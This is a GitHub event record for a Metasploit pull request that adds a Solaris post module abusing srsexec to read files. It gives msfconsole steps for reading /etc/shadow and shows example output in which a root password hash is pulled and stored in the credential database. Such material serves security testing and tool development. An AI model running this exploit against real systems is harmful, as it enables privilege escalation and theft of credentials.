{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10628","repository_url":"https://api.github.com/repos/rapid7/metasploit-framework","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10628/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10628/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10628/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/10628","id":359289645,"node_id":"MDExOlB1bGxSZXF1ZXN0MjE0ODE2Njg1","number":10628,"title":"srsexec Solaris Post module","user":{"login":"h00die","id":752491,"node_id":"MDQ6VXNlcjc1MjQ5MQ==","avatar_url":"https://avatars3.githubusercontent.com/u/752491?v=4","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"labels":[{"id":103436215,"node_id":"MDU6TGFiZWwxMDM0MzYyMTU=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/docs","name":"docs","color":"941E94","default":false},{"id":103436014,"node_id":"MDU6TGFiZWwxMDM0MzYwMTQ=","url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420","default":false}],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":5,"created_at":"2018-09-12T02:16:49Z","updated_at":"2018-09-14T01:29:57Z","closed_at":null,"author_association":"CONTRIBUTOR","pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/10628","html_url":"https://github.com/rapid7/metasploit-framework/pull/10628","diff_url":"https://github.com/rapid7/metasploit-framework/pull/10628.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/10628.patch"},"body":"To create a good environment:\r\n1. Install NetConnect or download my \"i have nothing to go off of but one post on stackoverflow\" emulator: https://github.com/h00die/MSF-Testing-Scripts/blob/master/srsexec\r\n2. Put it in the right folders with the right permissions and include argparse (PITA since SSL is busted in solaris 10u9).  See comments in the python module for more info\r\n\r\nTo verify:\r\n\r\n- [ ] Configure/install the vulnerable software or the emulator script i wrote\r\n- [ ] ```start msfconsole```\r\n- [ ] Get a user shell\r\n- [ ] ```use modules/post/solaris/escalate/srsexec_readline```\r\n- [ ] ```set session [#]```\r\n- [ ] ```run```\r\n- [ ] Check docs are spelled gooderers\r\n- [ ] If you leave `/etc/shadow` as the file, check `creds` to ensure the password hash was added.\r\n\r\nExample run:\r\n```\r\nmsf5 post(solaris/escalate/srsexec_readline) > run\r\n\r\n[+] 3.2.4 is vulnerable\r\n[+] Output: verify_binary(wsltw)\r\nsrsexec: binary_name: wsltw\r\nsrsexec: name_buf: wsltw_______________\r\nbinaries file line: root:MW7h.vpI1Kq1g:1\r\nbinaries file line: :17599::::::\r\nsmmsp:NP\r\nSecurity verification failed for binary: wsltw\r\nsee SYSLOG(/var/adm/messages) for errors\r\n[+] Adding root's hash added to credential database.\r\n[*] Post module execution completed\r\nmsf5 post(solaris/escalate/srsexec_readline) > creds\r\nCredentials\r\n===========\r\n\r\nhost  origin        service  public  private        realm  private_type\r\n----  ------        -------  ------  -------        -----  ------------\r\n      192.168.2.32           root    MW7h.vpI1Kq1g         Nonreplayable hash\r\n\r\n```"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/421202121","html_url":"https://github.com/rapid7/metasploit-framework/pull/10628#issuecomment-421202121","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/10628","id":421202121,"node_id":"MDEyOklzc3VlQ29tbWVudDQyMTIwMjEyMQ==","user":{"login":"h00die","id":752491,"node_id":"MDQ6VXNlcjc1MjQ5MQ==","avatar_url":"https://avatars3.githubusercontent.com/u/752491?v=4","gravatar_id":"","url":"https://api.github.com/users/h00die","html_url":"https://github.com/h00die","followers_url":"https://api.github.com/users/h00die/followers","following_url":"https://api.github.com/users/h00die/following{/other_user}","gists_url":"https://api.github.com/users/h00die/gists{/gist_id}","starred_url":"https://api.github.com/users/h00die/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/h00die/subscriptions","organizations_url":"https://api.github.com/users/h00die/orgs","repos_url":"https://api.github.com/users/h00die/repos","events_url":"https://api.github.com/users/h00die/events{/privacy}","received_events_url":"https://api.github.com/users/h00die/received_events","type":"User","site_admin":false},"created_at":"2018-09-14T01:29:57Z","updated_at":"2018-09-14T01:29:57Z","author_association":"CONTRIBUTOR","body":"@bcoles Ready for review and testing."}}
{"actor":{"display_login":"h00die"}}